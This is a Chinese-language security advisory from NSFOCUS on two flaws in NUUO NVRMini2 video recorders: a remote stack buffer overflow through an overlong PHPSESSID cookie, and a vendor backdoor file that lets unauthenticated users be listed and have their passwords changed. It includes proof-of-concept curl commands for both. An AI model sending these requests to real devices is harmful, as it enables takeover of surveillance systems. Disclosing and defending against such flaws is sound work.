北京时间2018年9月18日,Tenable官网上公开了关于由NUUO公司开发的摄像头系统NVRMini2存在多个严重漏洞
风险信息
风险信息如下:
项目 | 描述 |
CVE ID | CVE-2018-1149 CVE-2018-1150 |
Nessus插件ID | 117427 |
CVSSv2基准/时间分数 | 10.0 / 8.3 |
CVSSv2向量 | AV:N / AC:L / Au:N / C:C / I:C / A:C |
受影响的产品 | NUUO NVRMini2 3.8.0及以下版本 |
风险因素 | 严重 |
攻击演示视频如下:
NVRMini2的结构简图如下
漏洞概述
CVE-2018-1149:未经身份验证的远程堆栈缓冲区溢出
NVRMini2系统对外暴露了一个HTTP访问接口http://<target>/cgi-bin/cgi_system,通过这个接口,具有权限的用户可以访问到终端设备。cgi_system文件中的功能只有授权用户可以访问,认证的方法为比较用户访问数据Cookie字段中的PHPSESSID值和存储/tmp目录中的session文件名,构建session文件名的代码如下:
从sub_534a4返回的值为会话标识字符串。程序对该字符串长度没有作任何限制。当字符串传递到sprintf以构建tmp文件名时并没有边界检查。因此,未经身份验证的攻击者可以将超长的PHPSESSID值远程传递给sprintf导致缓冲区溢出,从而远程执行代码。
测试代码如下:
curl -v --cookie "PHPSESSID=982e6c010064b3878a4b793bfab8d2d2aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;" "http://XXXXXXXXXXXX/cgi-bin/cgi_system?cmd=portCheck"
测试代码会导致NVR系统会发生崩溃现象,经过深入分析,也可以远程执行代码,攻击者不仅能够控制NVR,还可以访问和修改NVR中所有的用户凭证数据,影响严重。
CVE-2018-1150:后门
NVRMini2的PHP代码中常见的习惯为:
- 检查当前PHP会话是否有效。
- 验证会话是否具有正在访问的页面的适当权限(即admin,poweruser,user,root,guest)。
但是,check_session_is_valid()函数中却存在后门的代码,函数如下:
if (file_exists(constant("MOSES_FILE"))) //back door { update_session(); return 0; }
其中标识为“back door”的字样为其源码中就存在的。constant(“MOSES_FILE”) 指向的路径为/tmp/moses。如果/tmp/moses/存在,则未授权的攻击者可以远程列出所有非admin的用户,并修改他们的密码.
albinolobster@ubuntu:~$ curl http://xxxxxxxxxxx/users_xml.php <AccountInfo> <users> <userinfo><no>1</no><username>testuser</username><group>poweruser</group><displaygroup>power user</displaygroup><live>1,2,3,4,5,6,7,8</live><playback>1,2,3,4,5,6,7,8</playback><ptz>1</ptz><io>1</io><backupdata>1</backupdata><deletedata>1</deletedata><emapsetting>1</emapsetting><remotalksetting>1 </remotalksetting><log>0</log></userinfo> </users> <groups> <groupinfo><no>1</no><groupname>poweruser</groupname><displayname>power user</displayname><groupmembers>testuser</groupmembers></groupinfo><groupinfo><no>2</no><groupname>user</groupname><displayname>user</displayname><groupmembers></groupmembers></groupinfo><groupinfo><no>3</no><groupname>guestuser</groupname><displayname>guestuser</displayname><groupmembers></groupmembers></groupinfo></groups> </AccountInfo> test@ubuntu:~$ curl 'http://xxxxxxxxx /users_xml.php?cmd=changepwd&username=testuser&newpwd=pwned' change password: testuser ok!
解决方案
官方方案
官方暂时没有相关的方案,建议保证设备不暴露在互联网上,并在防火墙设备上加入对摄像头HTTP服务的访问控制策略。
绿盟科技方案
检测方案
- 使用绿盟科技Web应用漏洞扫描系统、绿盟科技绿盟远程安全评估系统发现内网存在问题的设备。
- 使用绿盟科技网络入侵检测系统发现网络中存在的攻击特征。
防护方案
使用绿盟科技WEB应用防护系统、绿盟科技NF防火墙系统、绿盟科技网络入侵防护系统进行设备隔离或者攻击阻断。
声 明
本安全公告仅用来描述可能存在的安全问题,绿盟科技不为此安全公告提供任何保证或承诺。由于传播、利用此安全公告所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,绿盟科技以及安全公告作者不为此承担任何责任。绿盟科技拥有对此安全公告的修改和解释权。如欲转载或传播此安全公告,必须保证此安全公告的完整性,包括版权声明等全部内容。未经绿盟科技允许,不得任意修改或者增减此安全公告内容,不得以任何方式将其用于商业目的。
关于绿盟科技
北京神州绿盟信息安全科技股份有限公司(简称绿盟科技)成立于2000年4月,总部位于北京。在国内外设有30多个分支机构,为政府、运营商、金融、能源、互联网以及教育、医疗等行业用户,提供具有核心竞争力的安全产品及解决方案,帮助客户实现业务的安全顺畅运行。
基于多年的安全攻防研究,绿盟科技在网络及终端安全、互联网基础安全、合规及安全管理等领域,为客户提供入侵检测/防护、抗拒绝服务攻击、远程安全评估以及Web安全防护等产品以及专业安全服务。
北京神州绿盟信息安全科技股份有限公司于2014年1月29日起在深圳证券交易所创业板上市交易,股票简称:绿盟科技,股票代码:300369。